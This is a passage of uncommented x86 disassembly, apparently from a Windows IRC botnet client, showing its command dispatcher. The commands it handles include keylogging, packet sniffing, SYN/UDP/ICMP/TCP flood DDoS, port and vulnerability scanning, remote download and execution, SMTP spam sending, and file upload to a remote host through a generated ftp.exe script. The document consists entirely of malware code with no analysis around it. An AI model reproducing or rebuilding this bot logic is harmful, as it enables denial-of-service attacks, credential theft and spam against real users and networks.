pop ecx
test eax, eax
pop ecx
jz loc_411549
push [ebp+arg_8]
push offset aEnz_dns ; "enz.dns"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4114EA
push [ebp+arg_8]
push offset aEnz_dn ; "enz.dn"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4114EA
push [ebp+arg_8]
push offset aBox_killprocna ; "box.killprocname"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4114BE
push [ebp+arg_8]
push offset aBox_kpn ; "box.kpn"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4114BE
push [ebp+arg_8]
push offset aBox_prockillid ; "box.prockillid"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_411463
push [ebp+arg_8]
push offset aBox_pkid ; "box.pkid"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_411463
push [ebp+arg_8]
push offset aBox_delete ; "box.delete"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_41142C
push [ebp+arg_8]
push offset aBox_del ; "box.del"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_41142C
push [ebp+arg_8]
push offset aDcc_get ; "dcc.get"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_41134C
push [ebp+arg_8]
push offset aDcc_gt ; "dcc.gt"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_41134C
push [ebp+arg_8]
push offset aBox_filelist ; "box.filelist"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_411331
push [ebp+arg_8]
push offset aBox_fl ; "box.fl"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_411331
push [ebp+arg_8]
push offset aEnz_visit ; "enz.visit"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_411245
push [ebp+arg_8]
push offset aEnz_v ; "enz.v"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_411245
push [ebp+arg_8]
push offset aMirc_cmd ; "mirc.cmd"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4111D1
push [ebp+arg_8]
push offset aMirc_cmd ; "mirc.cmd"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4111D1
push [ebp+arg_8]
push offset aBox_cmd ; "box.cmd"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_41117D
push [ebp+arg_8]
push offset aBox_cm ; "box.cm"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_41117D
push [ebp+arg_8]
push offset aBox_readfile ; "box.readfile"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4110F8
push [ebp+arg_8]
push offset aBox_rf ; "box.rf"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4110F8
push [ebp+arg_8]
push offset aSniff ; "sniff"
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz loc_40E9A2
push edi
push offset aOn ; "on"
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz loc_40E96A
push 18h
call sub_41501C
test eax, eax
pop ecx
jle short loc_40E898
push offset unk_43606C
jmp loc_40F8E8
; ---------------------------------------------------------------------------
loc_40E898: ; CODE XREF: sub_40CD3A+1B52j
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_8C]
mov [ebp+var_36C], eax
mov eax, [ebp+var_4]
mov [ebp+var_2E4], eax
mov eax, [ebp+var_8]
cmp esi, ebx
mov [ebp+var_2E0], eax
jnz short loc_40E8DA
mov esi, offset dword_42C310
push offset byte_43B658
push esi
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_40E8DA
mov esi, [ebp+var_8C]
loc_40E8DA: ; CODE XREF: sub_40CD3A+1B82j
; sub_40CD3A+1B98j
push esi
lea eax, [ebp+var_368]
push 80h
push eax
call sub_41588A
lea eax, [ebp+var_2D8]
push offset unk_436028
push eax
call sub_415316
push ebx
lea eax, [ebp+var_2D8]
push 18h
push eax
call sub_414DDA
add esp, 20h
mov [ebp+var_2E8], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_36C]
push ebx
push eax
push offset sub_4024D0
push ebx
push ebx
call dword_42108C ; CreateThread
mov ecx, [ebp+var_2E8]
imul ecx, 234h
cmp eax, ebx
mov dword_441BAC[ecx], eax
jnz short loc_40E95D
call dword_421088 ; RtlGetLastWin32Error
push eax
push offset unk_435FD8
jmp loc_40EAFE
; ---------------------------------------------------------------------------
loc_40E955: ; CODE XREF: sub_40CD3A+1C29j
push 32h
call dword_421060 ; Sleep
loc_40E95D: ; CODE XREF: sub_40CD3A+1C08j
cmp [ebp+var_2DC], ebx
jz short loc_40E955
jmp loc_40F8F6
; ---------------------------------------------------------------------------
loc_40E96A: ; CODE XREF: sub_40CD3A+1B42j
push edi
push offset aOff ; "off"
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz loc_40F8F6
push ebx
push 18h
call sub_414FCF
pop ecx
cmp eax, ebx
pop ecx
jle short loc_40E998
push eax
push offset unk_435F88
jmp loc_40EAFE
; ---------------------------------------------------------------------------
loc_40E998: ; CODE XREF: sub_40CD3A+1C51j
push offset unk_435F4C
jmp loc_40F8E8
; ---------------------------------------------------------------------------
loc_40E9A2: ; CODE XREF: sub_40CD3A+1B2Dj
push [ebp+arg_8]
push offset aBox_keylog ; "box.keylog"
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz loc_40EB27
push edi
push offset aOn ; "on"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz short loc_40EA13
push edi
push offset aFile ; "file"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz short loc_40EA13
push edi
push offset aOff ; "off"
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz loc_40F8F6
push ebx
push 1Ah
call sub_414FCF
pop ecx
cmp eax, ebx
pop ecx
jle short loc_40EA09
push eax
push offset unk_435EF0
jmp loc_40EAFE
; ---------------------------------------------------------------------------
loc_40EA09: ; CODE XREF: sub_40CD3A+1CC2j
push offset unk_435EB0
jmp loc_40F8E8
; ---------------------------------------------------------------------------
loc_40EA13: ; CODE XREF: sub_40CD3A+1C8Ej
; sub_40CD3A+1C9Fj
push 1Ah
call sub_41501C
test eax, eax
pop ecx
jle short loc_40EA29
push offset unk_435E7C
jmp loc_40F8E8
; ---------------------------------------------------------------------------
loc_40EA29: ; CODE XREF: sub_40CD3A+1CE3j
mov eax, [ebp+arg_4]
push edi
mov [ebp+var_36C], eax
mov eax, [ebp+var_4]
push offset aFile ; "file"
mov [ebp+var_2E4], eax
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_40EA58
mov [ebp+var_2E0], 1
jmp short loc_40EA61
; ---------------------------------------------------------------------------
loc_40EA58: ; CODE XREF: sub_40CD3A+1D10j
mov eax, [ebp+var_8]
mov [ebp+var_2E0], eax
loc_40EA61: ; CODE XREF: sub_40CD3A+1D1Cj
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jnz short loc_40EA88
mov esi, offset dword_42C308
push offset byte_43B658
push esi
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_40EA88
mov esi, [ebp+var_8C]
loc_40EA88: ; CODE XREF: sub_40CD3A+1D30j
; sub_40CD3A+1D46j
push esi
lea eax, [ebp+var_364]
push 80h
push eax
call sub_41588A
lea eax, [ebp+var_2D8]
push offset unk_435E48
push eax
call sub_415316
push ebx
lea eax, [ebp+var_2D8]
push 1Ah
push eax
call sub_414DDA
add esp, 20h
mov [ebp+var_368], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_36C]
push ebx
push eax
push offset sub_4021FB
push ebx
push ebx
call dword_42108C ; CreateThread
mov ecx, [ebp+var_368]
imul ecx, 234h
cmp eax, ebx
mov dword_441BAC[ecx], eax
jnz short loc_40EB1A
call dword_421088 ; RtlGetLastWin32Error
push eax
push offset unk_435DF8
loc_40EAFE: ; CODE XREF: sub_40CD3A+1C16j
; sub_40CD3A+1C59j ...
lea eax, [ebp+var_2D8]
push eax
call sub_415316
loc_40EB0A: ; CODE XREF: sub_40CD3A+5A12j
add esp, 0Ch
jmp loc_40F8F6
; ---------------------------------------------------------------------------
loc_40EB12: ; CODE XREF: sub_40CD3A+1DE6j
push 32h
call dword_421060 ; Sleep
loc_40EB1A: ; CODE XREF: sub_40CD3A+1DB6j
cmp [ebp+var_2DC], ebx
jz short loc_40EB12
jmp loc_40F8F6
; ---------------------------------------------------------------------------
loc_40EB27: ; CODE XREF: sub_40CD3A+1C79j
push [ebp+arg_8]
push offset aBox_net ; "box.net"
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz loc_40EDD1
cmp dword_43CAF0, ebx
jz short loc_40EB58
cmp dword_43CB18, ebx
jz short loc_40EB58
push offset dword_435DA0
jmp loc_40EDBE
; ---------------------------------------------------------------------------
loc_40EB58: ; CODE XREF: sub_40CD3A+1E0Aj
; sub_40CD3A+1E12j
cmp [ebp+var_C], ebx
jz loc_40F526
mov eax, [ebp+esi+var_8C]
mov [ebp+arg_0], ebx
cmp eax, ebx
mov [ebp+arg_18], eax
jz short loc_40EB80
push eax
push [ebp+var_C]
call sub_4158E0
pop ecx
mov [ebp+arg_0], eax
pop ecx
loc_40EB80: ; CODE XREF: sub_40CD3A+1E36j
push edi
push offset aStart ; "start"
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_40EBEC
cmp [ebp+arg_18], ebx
jz short loc_40EBBA
push [ebp+arg_0]
push 3
loc_40EB9B: ; CODE XREF: sub_40CD3A+1EC8j
; sub_40CD3A+1EE0j ...
call sub_412C6C
push eax
lea eax, [ebp+var_2D8]
push offset aS_1 ; "%s"
push eax
call sub_415316
add esp, 14h
jmp loc_40F526
; ---------------------------------------------------------------------------
loc_40EBBA: ; CODE XREF: sub_40CD3A+1E5Aj
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412F13
add esp, 0Ch
test eax, eax
lea eax, [ebp+var_2D8]
jz short loc_40EBE2
push offset dword_435D64
jmp loc_40EDC4
; ---------------------------------------------------------------------------
loc_40EBE2: ; CODE XREF: sub_40CD3A+1E9Cj
push offset dword_435D30
jmp loc_40EDC4
; ---------------------------------------------------------------------------
loc_40EBEC: ; CODE XREF: sub_40CD3A+1E55j
push edi
push offset aStop ; "stop"
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_40EC04
push [ebp+arg_0]
push 4
jmp short loc_40EB9B
; ---------------------------------------------------------------------------
loc_40EC04: ; CODE XREF: sub_40CD3A+1EC1j
push edi
push offset aPause ; "pause"
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_40EC1F
push [ebp+arg_0]
push 5
jmp loc_40EB9B
; ---------------------------------------------------------------------------
loc_40EC1F: ; CODE XREF: sub_40CD3A+1ED9j
push edi
push offset aContinue ; "continue"
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_40EC3A
push [ebp+arg_0]
push 6
jmp loc_40EB9B
; ---------------------------------------------------------------------------
loc_40EC3A: ; CODE XREF: sub_40CD3A+1EF4j
push edi
push offset aDelete ; "delete"
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_40EC55
push [ebp+arg_0]
push 1
jmp loc_40EB9B
; ---------------------------------------------------------------------------
loc_40EC55: ; CODE XREF: sub_40CD3A+1F0Fj
push edi
push offset aShare ; "share"
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_40ECD8
cmp [ebp+arg_18], ebx
jz short loc_40ECA5
cmp [ebp+var_8FC], bl
jz short loc_40EC7B
push ebx
push [ebp+arg_18]
push 1
jmp short loc_40EC86
; ---------------------------------------------------------------------------
loc_40EC7B: ; CODE XREF: sub_40CD3A+1F37j
push [ebp+esi+var_88]
push [ebp+arg_18]
push ebx
loc_40EC86: ; CODE XREF: sub_40CD3A+1F3Fj
call sub_413053
push eax
lea eax, [ebp+var_2D8]
push offset aS_1 ; "%s"
push eax
call sub_415316
add esp, 18h
jmp loc_40F526
; ---------------------------------------------------------------------------
loc_40ECA5: ; CODE XREF: sub_40CD3A+1F2Fj
push ebx
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_413248
add esp, 10h
test eax, eax
lea eax, [ebp+var_2D8]
jz short loc_40ECCE
push offset dword_435CDC
jmp loc_40EDC4
; ---------------------------------------------------------------------------
loc_40ECCE: ; CODE XREF: sub_40CD3A+1F88j
push offset dword_435CA8
jmp loc_40EDC4
; ---------------------------------------------------------------------------
loc_40ECD8: ; CODE XREF: sub_40CD3A+1F2Aj
push edi
push offset aUser ; "user"
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz loc_40ED6E
mov eax, [ebp+arg_18]
cmp eax, ebx
jz short loc_40ED41
push [ebp+var_4]
cmp [ebp+var_8FC], bl
push [ebp+var_8C]
push [ebp+arg_4]
jz short loc_40ED0E
push ebx
push eax
push 1
jmp short loc_40ED22
; ---------------------------------------------------------------------------
loc_40ED0E: ; CODE XREF: sub_40CD3A+1FCCj
mov esi, [ebp+esi+var_88]
cmp esi, ebx
jz short loc_40ED1E
push esi
push eax
push ebx
jmp short loc_40ED22
; ---------------------------------------------------------------------------
loc_40ED1E: ; CODE XREF: sub_40CD3A+1FDDj
push ebx
push eax
push 2
loc_40ED22: ; CODE XREF: sub_40CD3A+1FD2j
; sub_40CD3A+1FE2j
call sub_413369
push eax
lea eax, [ebp+var_2D8]
push offset aS_1 ; "%s"
push eax
call sub_415316
add esp, 24h
jmp loc_40F526
; ---------------------------------------------------------------------------
loc_40ED41: ; CODE XREF: sub_40CD3A+1FB8j
push ebx
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_41387D
add esp, 10h
test eax, eax
lea eax, [ebp+var_2D8]
jz short loc_40ED67
push offset dword_435C6C
jmp short loc_40EDC4
; ---------------------------------------------------------------------------
loc_40ED67: ; CODE XREF: sub_40CD3A+2024j
push offset dword_435C3C
jmp short loc_40EDC4
; ---------------------------------------------------------------------------
loc_40ED6E: ; CODE XREF: sub_40CD3A+1FADj
push edi
push offset aSend ; "send"
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_40EDB9
cmp [ebp+arg_18], ebx
jz short loc_40EDB2
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_413B27
push eax
lea eax, [ebp+var_2D8]
push offset aS_1 ; "%s"
push eax
call sub_415316
add esp, 1Ch
jmp loc_40F526
; ---------------------------------------------------------------------------
loc_40EDB2: ; CODE XREF: sub_40CD3A+2048j
push offset dword_435C08
jmp short loc_40EDBE
; ---------------------------------------------------------------------------
loc_40EDB9: ; CODE XREF: sub_40CD3A+2043j
push offset dword_435BD8
loc_40EDBE: ; CODE XREF: sub_40CD3A+1E19j
; sub_40CD3A+207Dj ...
lea eax, [ebp+var_2D8]
loc_40EDC4: ; CODE XREF: sub_40CD3A+1EA3j
; sub_40CD3A+1EADj ...
push eax
call sub_415316
pop ecx
pop ecx
jmp loc_40F526
; ---------------------------------------------------------------------------
loc_40EDD1: ; CODE XREF: sub_40CD3A+1DFEj
push [ebp+arg_8]
push offset aEnz_gethost ; "enz.gethost"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_41101A
push [ebp+arg_8]
push offset aEnz_gh ; "enz.gh"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_41101A
mov eax, [ebp+esi+var_8C]
cmp eax, ebx
mov [ebp+arg_18], eax
jz loc_40D18F
push [ebp+arg_8]
push offset aEnz_addalias ; "enz.addalias"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_410FDB
push [ebp+arg_8]
push offset aEnz_aa ; "enz.aa"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_410FDB
push [ebp+arg_8]
push offset aEnz_privmsg ; "enz.privmsg"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_410F85
push [ebp+arg_8]
push offset aEnz_pm ; "enz.pm"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_410F85
push [ebp+arg_8]
push offset aEnz_action ; "enz.action"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_410F17
push [ebp+arg_8]
push offset aEnz_ac ; "enz.ac"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_410F17
push [ebp+arg_8]
push offset aEnz_cycle ; "enz.cycle"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_410EB1
push [ebp+arg_8]
push offset aEnz_cy ; "enz.cy"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_410EB1
push [ebp+arg_8]
push offset aEnz_mode ; "enz.mode"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_410E7A
push [ebp+arg_8]
push offset aEnz_m ; "enz.m"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_410E7A
push [ebp+arg_8]
push offset aClone_raw ; "clone.raw"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_410E0F
push [ebp+arg_8]
push offset aClone_ra ; "clone.ra"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_410E0F
push [ebp+arg_8]
push offset aClone_mode ; "clone.mode"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_410D8D
push [ebp+arg_8]
push offset aClone_m ; "clone.m"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_410D8D
push [ebp+arg_8]
push offset aClone_nick ; "clone.nick"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_410D1F
push [ebp+arg_8]
push offset aClone_ni ; "clone.ni"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_410D1F
push [ebp+arg_8]
push offset aClone_join ; "clone.join"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_410CF9
push [ebp+arg_8]
push offset aClone_j ; "clone.j"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_410CF9
push [ebp+arg_8]
push offset aClone_part ; "clone.part"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_410C99
push [ebp+arg_8]
push offset aClone_p ; "clone.p"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_410C99
push [ebp+arg_8]
push offset aEnz_repeat ; "enz.repeat"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_410BCA
push [ebp+arg_8]
push offset aEnz_rp ; "enz.rp"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_410BCA
push [ebp+arg_8]
push offset aEnz_delay ; "enz.delay"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_410B2F
push [ebp+arg_8]
push offset aEnz_de ; "enz.de"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_410B2F
push [ebp+arg_8]
push offset aDownload_updiz ; "download.updiz"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4109B2
push [ebp+arg_8]
push offset aDownload_upz ; "download.upz"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4109B2
push [ebp+arg_8]
push offset aBox_execute ; "box.execute"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_410919
push [ebp+arg_8]
push offset aBox_e ; "box.e"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_410919
push [ebp+arg_8]
push offset aBox_findfile ; "box.findfile"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_41080D
push [ebp+arg_8]
push offset aBox_ff ; "box.ff"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_41080D
push [ebp+arg_8]
push offset aBox_rename ; "box.rename"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4107BC
push [ebp+arg_8]
push offset aBox_mv ; "box.mv"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4107BC
push [ebp+arg_8]
push offset aDdos_icmp ; "ddos.icmp"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4106C2
push [ebp+arg_8]
push offset aDdos_ic ; "ddos.ic"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4106C2
mov eax, [ebp+esi+var_88]
cmp eax, ebx
mov [ebp+arg_0], eax
jz loc_40D18F
push [ebp+arg_8]
push offset aClone_make ; "clone.make"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4105D8
push [ebp+arg_8]
push offset aClone_start ; "clone.start"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4105D8
push [ebp+arg_8]
push offset aDs_sy1 ; "ds.sy1"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4104C7
push [ebp+arg_8]
push offset aDs_ack ; "ds.ack"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4104C7
push [ebp+arg_8]
push offset aDs_rm ; "ds.rm"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4104C7
push [ebp+arg_8]
push offset aDdos_synflood ; "ddos.synflood"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4103C9
push [ebp+arg_8]
push offset aSy1 ; "sy1"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4103C9
push [ebp+arg_8]
push offset aDownload_fromw ; "download.fromwww"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_41028C
push [ebp+arg_8]
push offset aD1 ; "d1"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_41028C
push [ebp+arg_8]
push offset aServer_redir_0 ; "server.redirect.on"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_410193
push [ebp+arg_8]
push offset aServer_rd_on ; "server.rd.on"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_410193
push [ebp+arg_8]
push offset aEnz_portscan ; "enz.portscan"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4100A1
push [ebp+arg_8]
push offset aEnz_ps ; "enz.ps"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4100A1
push [ebp+arg_8]
push offset aClone_privmsg ; "clone.privmsg"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_40FFCC
push [ebp+arg_8]
push offset aClone_pm ; "clone.pm"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_40FFCC
push [ebp+arg_8]
push offset aClone_action ; "clone.action"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_40FEBA
push [ebp+arg_8]
push offset aClone_ac ; "clone.ac"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_40FEBA
mov eax, [ebp+esi+var_84]
cmp eax, ebx
mov [ebp+arg_10], eax
jz loc_40D18F
push [ebp+arg_8]
push offset aVuln_start ; "vuln.start"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_40FB65
push [ebp+arg_8]
push offset aVvv ; "vvv"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_40FB65
push [ebp+arg_8]
push offset aDdos_udpflood ; "ddos.udpflood"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_40FA46
push [ebp+arg_8]
push offset aDdos_udpf ; "ddos.udpf"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_40FA46
push [ebp+arg_8]
push offset aPu ; "pu"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_40FA46
push [ebp+arg_8]
push offset aDdos_pingflood ; "ddos.pingflood"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_40F920
push [ebp+arg_8]
push offset aDdos_pingf ; "ddos.pingf"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_40F920
push [ebp+arg_8]
push offset aPg ; "pg"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_40F920
push [ebp+arg_8]
push offset aDdos_tcpflood ; "ddos.tcpflood"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_40F75E
push [ebp+arg_8]
push offset aUsa ; "usa"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_40F75E
push [ebp+arg_8]
push offset aUtil_email ; "util.email"
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz loc_40F55E
lea eax, [ebp+var_A7C]
push edi
push eax
call sub_415A20
push [ebp+arg_18]
call sub_41587F
push [ebp+arg_0]
mov [ebp+arg_18], eax
lea eax, [ebp+var_1FD4]
push eax
call sub_415A20
push [ebp+arg_10]
lea eax, [ebp+var_1690]
push eax
call sub_415A20
push offset asc_426A34 ; " "
push offset a_ ; "_"
push [ebp+esi+var_80]
call sub_4098D4
push eax
lea eax, [ebp+var_1ED4]
push eax
call sub_415A20
add esp, 30h
lea eax, [ebp+var_1824]
push eax
push 101h
call dword_43C99C ; WSAStartup
lea eax, [ebp+var_A7C]
push eax
call dword_43CAA8 ; gethostbyname
push 6
push 1
push 2
mov edi, eax
call dword_43CAA4 ; socket
push [ebp+arg_18]
mov esi, eax
mov [ebp+var_D0], 2
mov eax, [edi+0Ch]
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_CC], eax
call dword_43CA24 ; ntohs
mov [ebp+var_CE], ax
lea eax, [ebp+var_1ED4]
push eax
lea eax, [ebp+var_1FD4]
push eax
lea eax, [ebp+var_1ED4]
push eax
lea eax, [ebp+var_1690]
push eax
lea eax, [ebp+var_1FD4]
push eax
lea eax, [ebp+var_27D4]
push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
push eax
call sub_415316
add esp, 1Ch
lea eax, [ebp+var_D0]
push 10h
push eax
push esi
call dword_43C9CC ; connect
mov edi, 100h
push ebx
lea eax, [ebp+var_1DD0]
push edi
push eax
push esi
call dword_43CA3C ; recv
lea eax, [ebp+var_1DD0]
push ebx
push eax
call sub_415B10
pop ecx
push eax
lea eax, [ebp+var_27D4]
push eax
push esi
call dword_43CA74 ; send
push ebx
lea eax, [ebp+var_1DD0]
push edi
push eax
push esi
call dword_43CA3C ; recv
push esi
call dword_43CABC ; closesocket
call dword_43C984 ; WSACleanup
lea eax, [ebp+var_1690]
push eax
push offset unk_435880
loc_40F517: ; CODE XREF: sub_40CD3A+396Ej
; sub_40CD3A+3DD1j ...
lea eax, [ebp+var_2D8]
loc_40F51D: ; CODE XREF: sub_40CD3A+3C73j
push eax
call sub_415316
loc_40F523: ; CODE XREF: sub_40CD3A+50FEj
add esp, 0Ch
loc_40F526: ; CODE XREF: sub_40CD3A+1E21j
; sub_40CD3A+1E7Bj ...
cmp [ebp+var_8], ebx
jnz short loc_40F547
push ebx
lea eax, [ebp+var_2D8]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412BD1
add esp, 14h
loc_40F547: ; CODE XREF: sub_40CD3A+27EFj
; sub_40CD3A+4433j ...
mov esi, [ebp+arg_24]
loc_40F54A: ; CODE XREF: sub_40CD3A+954j
; sub_40CD3A+475Dj ...
lea eax, [ebp+var_2D8]
push eax
call sub_40B078
pop ecx
mov eax, esi
jmp loc_40D192
; ---------------------------------------------------------------------------
loc_40F55E: ; CODE XREF: sub_40CD3A+2687j
push [ebp+arg_8]
push offset aUtil_httpcon ; "util.httpcon"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_40F730
push [ebp+arg_8]
push offset aUtil_hcon ; "util.hcon"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_40F730
mov esi, [ebp+esi+var_80]
cmp esi, ebx
jz loc_40D18F
push [ebp+arg_8]
push offset aFtp_upload ; "ftp.upload"
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz loc_412818
push 4
push esi
call sub_40C0F3
pop ecx
test eax, eax
pop ecx
jnz short loc_40F604
push esi
push offset dword_435824
loc_40F5C3: ; CODE XREF: sub_40CD3A+4989j
lea eax, [ebp+var_2D8]
push eax
call sub_415316
add esp, 0Ch
loc_40F5D2: ; CODE XREF: sub_40CD3A+42DBj
; sub_40CD3A+518Dj
cmp [ebp+var_8], ebx
jnz short loc_40F5F3
push ebx
lea eax, [ebp+var_2D8]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412BD1
add esp, 14h
loc_40F5F3: ; CODE XREF: sub_40CD3A+289Bj
; sub_40CD3A+5381j ...
lea eax, [ebp+var_2D8]
push eax
call sub_40B078
jmp loc_412999
; ---------------------------------------------------------------------------
loc_40F604: ; CODE XREF: sub_40CD3A+2881j
call dword_42104C ; GetTickCount
push eax
call sub_415368
pop ecx
call sub_415372
push 9
cdq
pop ecx
idiv ecx
push edx
call sub_415372
push 63h
cdq
pop ecx
idiv ecx
push edx
call sub_415372
cdq
mov ecx, 3E7h
idiv ecx
lea eax, [ebp+var_1DD4]
push edx
push eax
lea eax, [ebp+var_1694]
push offset aSIII_dll ; "%s\\%i%i%i.dll"
push eax
call sub_415316
lea eax, [ebp+var_1694]
push offset aAb ; "ab"
push eax
call sub_415A08
add esp, 20h
cmp eax, ebx
mov [ebp+arg_24], eax
jz loc_40D18F
push esi
push [ebp+arg_10]
push [ebp+arg_0]
push [ebp+arg_18]
push edi
push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
push eax
call sub_4159B6
push [ebp+arg_24]
call sub_415960
lea eax, [ebp+var_1694]
push eax
lea eax, [ebp+var_A7C]
push offset aSS_4 ; "-s:%s"
push eax
call sub_415316
add esp, 2Ch
lea eax, [ebp+var_A7C]
push ebx
push ebx
push eax
push offset aFtp_exe ; "ftp.exe"
push offset aOpen ; "open"
push ebx
call dword_43C998 ; ShellExecuteA
push edi
push esi
test eax, eax
jz short loc_40F6CE
push offset dword_4357A8
jmp short loc_40F6D3
; ---------------------------------------------------------------------------
loc_40F6CE: ; CODE XREF: sub_40CD3A+298Bj
push offset dword_435768
loc_40F6D3: ; CODE XREF: sub_40CD3A+2992j
call sub_415316
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_40F6FC
push ebx
lea eax, [ebp+var_2D8]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
